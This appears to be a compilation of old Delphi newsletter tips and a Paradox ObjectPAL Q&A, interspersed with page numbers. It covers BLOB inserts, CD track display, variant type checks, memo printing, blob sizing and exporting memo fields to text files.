var AParams: TParams; BinFile: TFileStream; Buffer: String; begin SQLConnection1.Connected := True; AParams := TParams.Create( nil ); BinFile := TFileStream.Create( lblConFileName.Caption, fmOpenRead or fmShareDenyWrite ); try SetLength( Buffer, BinFile.Size ); BinFile.Read( Buffer[1], BinFile.Size ); AParams.CreateParam( ftBlob, 'TEXTBLOBDATA', ptInput ); AParams.ParamByName( 'TEXTBLOBDATA' ).AsBlob := mmoConMemo.Lines.Text; AParams.CreateParam( ftBlob, 'BINBLOBDATA', ptInput ); AParams.ParamByName( 'BINBLOBDATA' ).AsBlob := Buffer; SQLConnection1.Execute( 'insert into BLOBS (TEXT_BLOB, BIN_BLOB) values( :TEXTBLOBDATA, :BINBLOBDATA );', AParams ); finally FreeAndNil( AParams ); FreeAndNil( BinFile ); end;
or
var SQLDataSet: TSQLDataSet; BinFile: TFileStream; Buffer: String; begin BinFile := TFileStream.Create( lblDataSetFileName.Caption, fmOpenRead or fmShareDenyWrite ); try SetLength( Buffer, BinFile.Size ); BinFile.Read( Buffer[1], BinFile.Size ); SQLDataSet := TSQLDataSet.Create( nil ); try SQLDataSet.SQLConnection := SQLConnection1; SQLDataSet.CommandText := 'insert into BLOBS (BIN_BLOB, TEXT_BLOB) Values( :BinBlobData, :TextBlobData );'; SQLDataSet.ParamByName('BinBlobData').AsBlob := Buffer; SQLDataSet.ParamByName('TextBlobData').AsBlob := mmoDataSetMemo.Text; // asString doesn't seem to work...strange. SQLDataSet.ExecSQL; finally FreeAndNil( SQLDataSet );
1636
end; finally FreeAndNil( BinFile ); end;
1637
Newsletter Tips - March - 2000 Did you miss a tip? Check out the Delphi Programming Tip Archives.
13/2000. TMediaPlayer: What track am I on? { Drop a TMediaPlayer component on the form, with all the properties correctly set and bound to the CD player. Also, add "MMSystem" to the uses clause in the calling form. To complete, create a TTimer and put the code below in its OnTimer event: } uses MMSystem; var Trk, Min, Sec : word; begin with MediaPlayer1 do begin Trk := MCI_TMSF_TRACK(Position); Min := MCI_TMSF_MINUTE(Position); Sec := MCI_TMSF_SECOND(Position); Label1.Caption := Format('%.2d',[Trk]); Label2.Caption := Format('%.2d:%.2d',[Min,Sec]); end;
end; 12/2000. Which Type a Variant Currently Is?
1638
{ How do we get a glimpse into the contents of a variant type variable? Does it hold a string or an integer or something else? A variant can have most any kind of value assigned to it. How can we tell which it is? This is how: } function GetVariantType(const v: variant): string; begin case TVarData(v).vType of varEmpty: result := 'Empty'; varNull: result := 'Null'; varSmallInt: result := 'SmallInt'; varInteger: result := 'Integer'; varSingle: result := 'Single'; varDouble: result := 'Double'; varCurrency: result := 'Currency'; varDate: result := 'Date'; varOleStr: result := 'OleStr'; varDispatch: result := 'Dispatch'; varError: result := 'Error'; varBoolean: result := 'Boolean'; varVariant: result := 'Variant'; varUnknown: result := 'Unknown'; varByte: result := 'Byte'; varString: result := 'String'; varTypeMask: result := 'TypeMask'; varArray: result := 'Array'; varByRef: result := 'ByRef'; end; // case
end; 11/2000. Memo Printing {Simple procedure that prints the content of a Memo component} uses printers; procedure TForm1.PrintIt(Sender: TObject); var PrintBuf: TextFile; begin AssignPrn(PrintBuf); Rewrite(PrintBuf); try for i := 0 to Memo1.Lines.Count-1 do WriteLn(PrintBuf, Memo1.Lines[i]); finally CloseFile(PrintBuf); end;
end; 10/2000. Determine the Actual Size of a Blob Field in the Table { Here is a function GetBlobSize that returns the size of a given blob, memo, or graphic field. } Function GetBlobSize(Field: TBlobField): Longint; begin with TBlobStream.Create(Field, bmRead) do
1639
with TBlobStream.Create(Field, bmRead) do try Result := Seek(0, 2); finally Free; end; end; {Usage:} procedure TForm1.Button1Click(Sender: TObject); begin {This sets the Edit1 edit box to display the size of} {a memo field named Notes.} Edit1.Text := IntToStr(GetBlobSize(Notes));
1640
Exporting Memos and BLOB's by Lance Leonard
Posted: 10 December 2001 Applies to: Paradox 5.0 and later Audience: Intermediate
Question: By default, Paradox does not export memo or BLOB fields to delimited text files. Is there any way to do this? Answer: Yes. Try manually exporting the table, as shown in the following code sample: proc fixup( strInput String ) String ; -------------------------------------------------------------; If strInput contains CRLF's, this replaces them with "\n" ; and returns the result; otherwise, returns the original value. ; -------------------------------------------------------------var astrLines Array[] String strRetval String siCounter smallInt endVar strRetval = strInput if strRetval.search( "\n" ) > 0 then ; separate CRLF's strRetval.breakApart( astr, chr( 13 ) + chr( 10 ) ) strRetval = "" ; reassemble the string using "\n" instead of CRLF's for siCounter from 1 to astrLines.size() if ( astrLines[ siCounter ] <> "" ) then strRetval = strRetval + astrLines[ siCounter ] if siCounter < astrLines.size() then ; add "\n" strRetval = strRetval + "\\n" endIf endIf endFor endIf return strRetval endProc method run(var eventInfo Event) var tc ts endVar
TCursor TextStream
const DATAFILE = ":priv:rtlerrors" TEXTFILE = "c:\\errors.txt" STDERROR = "If [>>] is enabled, choose it for more details." endConst enumRTLErrors( DATAFILE ) ; create the data table if not tc.open( DATAFILE ) then errorShow( "Can't Open Errors Table", STDERROR ) else if not ts.open( TEXTFILE, "nw" ) then
1641
errorShow( "Can't Open Output File", STDERROR ) else scan tc : message( "Writing ", tc.recNo(), " of ", tc.nRecords(), "..." ) ts.writeLine( "\"", tc.(1), "\"|", "\"", tc.(3), "\"|", "\"", fixup( tc.(4) ), "\"" ) endScan ; Add additional error-checking for full sanity. ts.commit() ts.close() tc.close() beep() message( "Done!" ) endIf endIf endMethod
While this example looks involved, a careful review shows it's rather straightforward. There are two main elements to pay attention to: 1. Note that the fixup procedure declares the strinput parameter as a string. If you call fixup() with the contents of a memo field, your formatted data will become unformatted, much the same way that string( tc.formattedfield ) also returns unformatted data. This may or may be a problem for you. 2. The breakapart() call in fixup() shows how to remove CRLF pairs from memo data. Note that you need to skip certain elements in the resulting array to completely replace CRLF's with "\n" characters.
1642
1643